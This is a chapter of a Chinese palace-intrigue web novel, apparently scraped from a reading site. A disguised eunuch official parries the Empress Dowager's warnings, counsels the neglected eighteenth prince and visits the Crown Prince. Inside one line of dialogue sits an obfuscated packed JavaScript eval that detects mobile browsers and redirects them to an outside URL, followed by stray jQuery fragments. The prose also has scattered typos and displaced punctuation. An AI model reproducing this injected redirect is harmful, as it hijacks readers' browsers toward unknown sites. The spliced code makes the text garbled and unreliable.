“知道了。”她淡淡道，“备轿，申时去慈宁宫。” 顺子应下，却没走，犹豫道：“掌印，太后突然设宴，还知请您和陆指挥使，会不会是……” “鸿门宴？”步青云放下笔，拿起帕子擦掉手上的朱砂，“就算是鸿门宴，也得去。太后相召，你敢不去？” 顺子不敢再言，退下了。 步青云起身走到窗前。窗外天色阴沉，又要下雪了。这隆冬时节的盛京，总是雪一场接一场，像永远下不完的阴谋，永远清不干净的局。 她想起八年前，也是这样的雪天，她跪在慈宁宫外，求太后开恩，让她留在宫里当差。那时候她刚入宫，还是个不起眼的小太监，太后连正眼都没看她。 后来她爬上来了，靠的是狠，是绝，是不择手段。太后开始用她制衡太子，制衡贵妃，制衡朝中那些不听话的臣子。 但她知道，太后从未真正信任过她。在太后眼里，她只是一条好用的狗，用完了，随时可以杀掉。 今日这宴，是试探，是敲打，还是……摊牌？ 步青云不知道，但她必须去。 申时整，步青云的轿子停在慈宁宫外。几乎是同时，另一顶轿子也到了。陆炳掀开轿帘，走了出来。 两人对视一眼，都没说话，一前一后走进宫门。 慈宁宫的暖阁比往日更暖和，地龙烧得旺，熏香也比平时浓。太后李氏斜倚在软塌上，膝上盖着狐皮褥子，手中捻着佛珠，看似慵懒，眼神却锐利如鹰。 “臣叩见太后。” “奴才叩见太后。” 两人行礼。 “起来吧，赐坐。”太后抬了抬手，“天冷，哀家想着你们当差辛苦，特意备了酒菜，一起说说话。” 宫人搬了两个绣墩，摆在塌前。步青云和陆炳谢恩坐下，都只做了半边，姿态恭谨。 “这是江南新进的龙井，你们尝尝。”太后示意宫人上茶。 茶是好茶，汤色清亮，香气扑鼻。但步青云只抿了一口就放下。她从不喝别人给的茶，尤其是太后给的。 陆炳倒是喝的坦然，还赞了句：“好茶。” 太后笑了：“陆炳啊，你是哀家的侄儿，又不是外人，不必拘礼。” 这话说的亲热，但步青云听出了弦外之音。 陆炳是自己人，而她步青云，是外人。 “太后说的是。”陆炳放下茶盏，“姑姑今日叫侄儿来，可是有事吩咐？” 太后不答，反而看向步青云：“步青云，你觉得哀家的慈宁宫，如何？” 步青云垂眸：“太后宫宇，自然是极好的。” “是吗？”太后轻笑，“可哀家听说，有人觉得哀家这慈宁宫，管的太宽了。” 来了。步青云心中一凛，面上不动声色：“太后说笑了。太后母仪天下，垂范六宫，何人敢妄议？” “有没有人妄议，哀家不知道。”太后捻着佛珠，慢条斯理，“但哀家知道，这宫里宫外，有些人，手伸的太长了。” 她说这话时，目光若有若无的扫过步青云，又扫过陆炳。 陆炳脸色微变，站起身：“姑姑，侄儿对您忠心耿耿，绝无二心。” “哀家没说你。”太后打断他，目光落在步青云身上，“步青云，你说呢？” 步青云起身，跪地：“奴才愚钝，不知太后所指何事，还请太后明示。” “起来吧，哀家又没怪你。”太后抬手虚扶，“只是前些日子，有人跟哀家说，你最近和十八皇子走得很近，可有此事。” 果然是为了魏祚。步青云心中冷笑，面上却愈发恭顺：“回太后，奴才是奉您的命，照应十八殿下。” “哀家是让你照应，没让你教他朝政实务。”太后声音转冷，“步青云，你一个太监，插手皇子教育，这手，是不是伸的太长了？” 暖阁内空气骤然凝固。炭火噼啪作响，熏香浓的呛人。陆炳垂着眼，嘴角却微微勾起，那是看好戏的表情。 步青云额头触地：“奴才不敢。只是十八殿下好学，时常来问一些读书上的事，奴才不敢不答。” “是吗？”然后盯着她，“那为何哀家听说，你在教他批阅奏折，教他权谋算计。” 消息真灵通。步青云心中暗惊，面上却愈发平静：“太后明鉴，奴才一个阉人，哪懂什么权谋算计。不过是教殿下认认字，读读书罢了。” “认字读书？”太后冷笑，“步青云，你当哀家老了糊涂不成，十八皇子一个宫女生的，无才无德，你教他这些，是想做什？么想扶持他，跟太子，跟七皇子争？” 这话说的极重，重到可以杀头。步青云伏在地上，脑中飞速转动。太后这是在敲打她，警告她不要站队，更不要扶持魏祚。 可太后为何如此忌惮魏祚，一个不受宠的皇子，有什么好忌惮的？ 除非……太后知道了什么。 步青云心中一沉。难道太后也知道了魏祚的身世？不，不可能。若太后知道，早就动手了，不会等到现在。 那太后在忌惮什么？ 电光石火间，步青云想到了。太后忌惮的不是魏祚。是她步青云。太后怕她借着教导皇子的名义，培植自己的势力，将来尾大不掉。 想通了这一点，步青云反而镇定下来。 “太后明鉴，”她抬起头，眼中恰到好处的露出惶恐，“奴才绝无此意。奴才教导十八殿下，全是因为……因为太子的吩咐。” “太子？”太后挑眉。 “是。”步青云点头，“太子殿下前些日子召见奴才，说十八殿下无人教导，荒废了学业，让奴才多费心。奴才不敢不从啊。” 她把太子搬出来，一是为了转移视线，二是为了试探。 试探太后对太子的态度。 果然，太后脸色变了变，但很快恢复如常：“太子倒是好心。不过，教导皇子是太傅的事，他一个太子，插手这些做什么？” 这话就有些重了。教导皇子是皇帝的事，太子插手，却有僭越之嫌。 陆炳适时开口：“姑姑，太子也是关心弟弟，毕竟十八殿下生母早逝，无人照拂。” 太后看了陆炳一眼，没说话，只捻着佛珠。 暖阁内陷入沉默，只有炭火噼啪声和佛珠碰撞声。 许久，太后才缓缓开口：“都起来吧，跪着像什么话。” 步青云和陆炳起身，重新落座，但气氛已经不同了。 “步青云，”太后看着他，“哀家知道你有本事，这些年替哀家办了不少事。但你要记住，你的本事，是哀家给的。哀家能给，也能收。” “奴才明白。”步青云垂首。 “明白就好。”太后顿了顿，“十八皇子那边，你该教还教，但要有分寸。什么该教，什么不该教，你心里要有数。” “是。” “至于太子……”太后话锋一转，“他若再找你，你就说，哀家说了，皇子教育自由规程，让他不必操心。” 这是要断了她和太子的联系。步青云心中冷笑，面上却恭敬应下：“奴才遵旨。” “行了，都退下吧。” “臣告退。” “奴才告退。” 两人退出暖阁，走到慈宁宫外，谁也没说话。直到出了宫门，陆炳才开口，语气嘲讽：“步掌印好手段，把太子都搬出来了。” 步青云淡淡道：“陆指挥使不也帮腔了吗？彼此彼此。” 陆炳盯着他看了片刻，忽然笑了：“步青云，咱们明人不说暗话。太后今日这宴，是冲着你来的。你最近动作太大，太后不高兴了。” “陆指挥使说笑了，奴才能有什么动作？” “有没有，你心里清楚。”陆炳凑近，压低声音，“十八皇子那块料，你当真要扶？” 步青云停下脚步，转头看他：“陆指挥使这话，奴才听不懂。” “听不懂？”陆炳嗤笑，“步青云，咱们都是聪明人，就别装糊涂了。十八皇子是什么出身，你比我清楚。一个宫女生的，无依无靠，你扶他，图什么？” “奴才只是奉命行事。” “奉命？奉谁的命？太后的？太子的？还是……”陆炳眼中闪过一丝精光，“你自己的？” 步青云心中一震，面上却依旧平静：“陆指挥使多心了。奴才一个阉人，能有什么心思？” “但愿如此。”陆炳退后一步，拱手，“告辞。” 看着陆炳远去的背影，步青云眼中寒光一闪。陆炳起疑了，太后也起疑了。这局棋，越来越难下了。 “掌印，回吗？”顺子低声问。 “不回。”步青云转身，朝另一个方向走去，“去西偏殿。” 西偏殿里，魏祚正在临帖。孙嬷嬷在一旁做针线，屋里炭火烧的旺，却暖不偷那股挥之不去的寒意。 “殿下，”孙嬷嬷犹豫许，久还是开口，“老奴听说，太后今日召见了步公公和陆指挥使。” 魏祚笔尖一顿，墨迹在纸上晕开一团。他放下笔：“嬷嬷从哪听说的？” “宫里都传开了。”孙嬷嬷压低声音，“说是太后设宴，只请了他们两个。殿下，您说……会不会跟您有关？” 魏祚没说话。他也听说了，而且想的比孙嬷嬷更深。大号突然召见步青云和陆炳，定是为了最近朝中的动静。或者说，是为了步青云与他走的近这件事。 太后在警告步青云，也在警告他。 “殿下，”孙嬷嬷忧心忡忡，“老奴觉得，步公公那人……太危险。您跟他走得近，只怕会引火烧身啊。” “嬷嬷，”魏祚看着她，“这宫里，哪一处不是火坑？与其在西偏殿等死，不如主动往火里跳，说不定还能闯出一条生路。” 孙嬷嬷张了张嘴，最终什么也没说，只是叹了口气。 这时，门外传来敲门声。 孙嬷嬷去开门，见到来人，吓了一跳：“步、步公公……” 步青云站在门外，一身玄色斗篷，肩上落着雪沫子。他朝孙嬷嬷点点头，径自走进来。 魏祚起身：“公公怎么来了？” “来看看殿下。”步青云解下斗篷，递给顺子，“殿下在练字？” “是。” 步青云走到案前，看了看魏祚的字，点头：“有进步，但还欠火候。写字如做人，要稳，要狠，要力透纸背。” 魏祚垂手。 “坐吧。”步青云在桌边坐下，“太后今日召见我了。” 魏祚心头一跳，面上强作镇定：“太后……说了什么？” “让我离你远点。”步青云直言不讳，“说我一个太监，不该插手皇子教育。” 魏祚抿了抿唇：“那公公……” “我说，是太子让我教的。”步青云淡淡道。 魏祚愣住。太子？步青云什么时候和太子有联系？ “公公这是……” “祸水东引。”步青云看着他，“太后忌惮我扶持你，那我就把太子拉下水。太后总不会为了这点事，同时敲打我和太子。” 魏祚明白了。步青云这是在试探，试探太后的底线，也试探太子的态度。 “可太子那边……” “太子那边，我自有打算。”步青云打断他，“殿下现在要做的，是好好读书，好好练字，什么都不要问，什么都不要管。” “我做不到。”魏祚忽然道，“公公，我娘的死，三皇子的死，还有我的身世……这些事，我做不到不管。” 步青云盯着他看了许久，忽然笑了：“殿下，您知道您现在像什么吗？” “像什么？” “像一只刚长出爪牙的小兽。”步青云的声音很轻，却像刀子一样锋利，“有狠劲，没脑子。只知道往前冲，却不知道前面是悬崖还是坦途。” 魏祚脸色一白。 “您想报仇，想查真相，这没错。”步青云继续道，“但您要知道，在这宫里，光有恨是不够的。你要有耐心，有谋略，要学会等待时机。” “等到什么时候？”魏祚握紧拳头，“等到害死我娘的人也老死，等到真相永远被埋没？” “等到您足够强大。”步青云一字一句，“等到你有足够的筹码，足够的势力，足够的人手。到那时，你想查什么，想报什么仇，都易如反掌。但现在……”她顿了顿，“您现在去查，去报仇，无异于以卵击石。” 魏祚沉默了。他知道步青云说的对，但他等不了。每每想起娘亲日记里写的那些字句，想起那封血书，他就恨不得立刻冲到长春宫，掐死周贵妃。 “殿下，”步青云的声音缓和下来，“您要记住，君子报仇，十年不晚。您现在要做的，是活下去，是变强，是积蓄力量。其他的，交给时间。” 魏祚闭上眼，深吸一口气：“我明白了。” “明白就好。”步青云从袖中取出一本书，“这本书，殿下拿回去看。里面讲的都是权术谋略，对您有用。” 魏祚接过，书很旧，边角都磨破了，但保存的很好。翻开，里面密密麻麻全是批注，字迹和之前的书上一模一样。 “公公……看了很多书？”他忍不住问。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085723|195348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不多。”步青云淡淡道，“但有用的，都看了。” 有用的。什么有用？权谋有用，算计有用，心狠手辣有用。 魏祚握紧书，心中涌起复杂的情绪。感激？有。畏惧？也有。但更多的，是一种说不清道不明的……共鸣。 他们都在这深宫里挣扎，都背负着血海深仇，都想往上爬，都……身不由己。 “公公，”他忽然问，“您说，这宫里，有真心吗？” 步青云愣了一下，随即笑了：“殿下怎么问这个？” “只是好奇。” “有。”步青云说，“但很少，而且……往往不得善终。” 魏祚看着她：“那公公有过吗？” 步青云沉默了。烛火在她脸上跳跃，映出她眼中一闪而过的痛楚。但很快，那痛楚就被冷漠取代。 “有过。”她说，“但死了。” “怎么死的？” “被这宫墙吃了。”步青云站起身，“殿下，时候不早了，奴才告退。” 她走到门口，又停下，回头：“殿下，记住我的话。活下去，变强。其他的，都不重要。” 门开了又合，风雪灌进来，吹得烛火狂舞。 魏祚坐在桌前，看着那本书，许久未动。 活下去，变强。 可要活成什么样？要强到什么地步？ 他不知道。 步青云走出西偏殿，雪下的更大了。顺子撑开伞，替他挡雪，低声问：“掌印，回司礼监吗？” “不，去东宫。” 顺子吓了一跳：“东宫？这个时候？” “这个时候正好。”步青云拢了拢斗篷，“太后不是让我离十八皇子远点吗？那我就去东宫，让太后看看，我能离得多远。” 顺子不敢多言，吩咐轿夫往东宫去。 东宫在皇宫东侧，与司礼监一墙之隔。轿子停在东宫门外时，天已经黑了。雪光映着宫墙，一片肃杀。 守门的太监看到步青云，明显愣了一下：“步、步公公？您怎么来了？” “求见太子殿下，有要事禀报。”步青云淡淡道。 “这……容奴才通传。” 太监匆匆进去，不多时又匆匆出来：“殿下请步公公进去。” 步青云整了整衣袍，踏入东宫。这是她第一次来东宫，与想象中的奢华不同。东宫布置的十分简朴，甚至有些冷清。 太子魏衸在书房等她。见到她，放下手中的书，温声道：“步公公怎么来了？可是父皇那边有事？” “殿下放心，皇上安好。”步青云行礼，“奴才是来谢罪的。” “谢罪？”魏衸挑眉，“步公公何罪之有？” “奴才今日在太后面前，搬出了殿下的名号。”步青云垂首，“太后问奴才为何教导十八皇子，奴才说……是殿下的吩咐。” 魏衸笑了：“就为这事？本宫确实说过让步公公多照应十八弟，这不算什么。” “可太后似乎……不太高兴。”步青云抬眼，观察着太子的神色。 魏衸笑容不变：“太后年纪大了，难免多想。步公公不必放在心上。” “是。”步青云应下，心中却冷笑。太子这话说的轻巧，实则把责任全推给了太。后果然，皇室中人，没一个简单的。 “十八弟最近如何？”魏衸换了个话题，“本宫听说他常去司礼监？” “是，殿下好学，时常来问些读书上的事。”步青云答的滴水不漏。 “那就好。”魏衸点头，“十八弟生母早逝，无人照拂，本宫这个做兄长的，理应多关照。只是……”他顿了顿，“步公公教导十八弟时，也要注意分寸。毕竟，皇子教育，自有规程。” 这话和太后如出一辙。步青云心里明镜似的，太子也在敲打他，让他不要越界。 “奴才明白。”她恭顺道。 “明白就好。”魏衸起身，“步公公，你是聪明人。本宫也不跟你绕弯子。这宫里，战队要早，但也要站对。站错了，可是要掉脑袋的。” 这是赤裸裸的拉拢了，步青云心中冷笑，面上却愈发光顺：“殿下说的是。奴才一个阉人，能有什么心思？不过是尽本分罢了。” “本分？”魏衸转身，看着他，“步公公的本分，就是替父皇分忧，替朝廷办事。至于其他的……不该管的，不要管。” “奴才谨记。” “去吧。”魏衸挥挥手，“本宫乏了。” 步青云行礼退出。 “掌印，回吗？” “回。”步青云上了轿，放下轿帘。 轿子缓慢前行，步青云闭着眼，脑中却飞快转动。 太后敲打她，太子拉拢她，贵妃试探她……所有人都盯着她，盯着她手中的权力，盯着她背后的十八皇子。 这局棋，破局越来越难了。 但她不怕。八年前，她从尸山血海里爬出来时，就发过誓，这辈子，再也不会任人摆布。 她要报仇，要夺回楚家的一切，要让那些伤害她家的人，血债血偿。 魏祚是她的棋子，也是她的机会。她要借着他的手，掀翻这吃人的宫墙，先翻这污浊的朝堂。 轿子停在司里监外。步青云下轿，忽然想起什么，问顺子：“江南那边，有消息了吗？” 顺子摇头：“还没有，快过年了，水路冰封，陆路难行，信使可能要晚几天。” “催一催。”步青云说，“我急着要。” “是。” 走进司礼监，值房的灯还亮着。步青云推门进去，案上堆着今日要批的奏折。她坐下，拿起最上面的一本，是都察院弹劾户部侍郎的折子。 正是许阁老的那个女婿。 步青云提笔，在折子上批了四个字：“留中不发。” 留中不发，就是既不处理，也不驳回。压在手里，等时机。 她要等，等徐阁老和太子绑得更紧，等这把刀磨得更利，然后……一击毙命。 批完奏折，已是子时。步青云推开窗，寒风夹杂着雪沫子灌进来，吹得她打了个寒颤。 她看着窗外沉沉的夜色，忽然想起很多年前，也是这样的雪夜，兄长抱着她，说：“玉儿，别怕，哥哥在。” 后来哥哥不在了，楚家一百三十七口，都不在了。 只剩下她，一个人，在这吃人的深宫里，挣扎着活下去。 “哥哥，”她轻声说，“再等等。很快，我就能为你们报仇了。” 雪越下越大，将整个皇宫笼罩在素白之下。但步青云知道，这素白之下，是污秽，是血腥，是永无止境的争斗。 而她，就要在污秽与血腥中，杀出一条血路。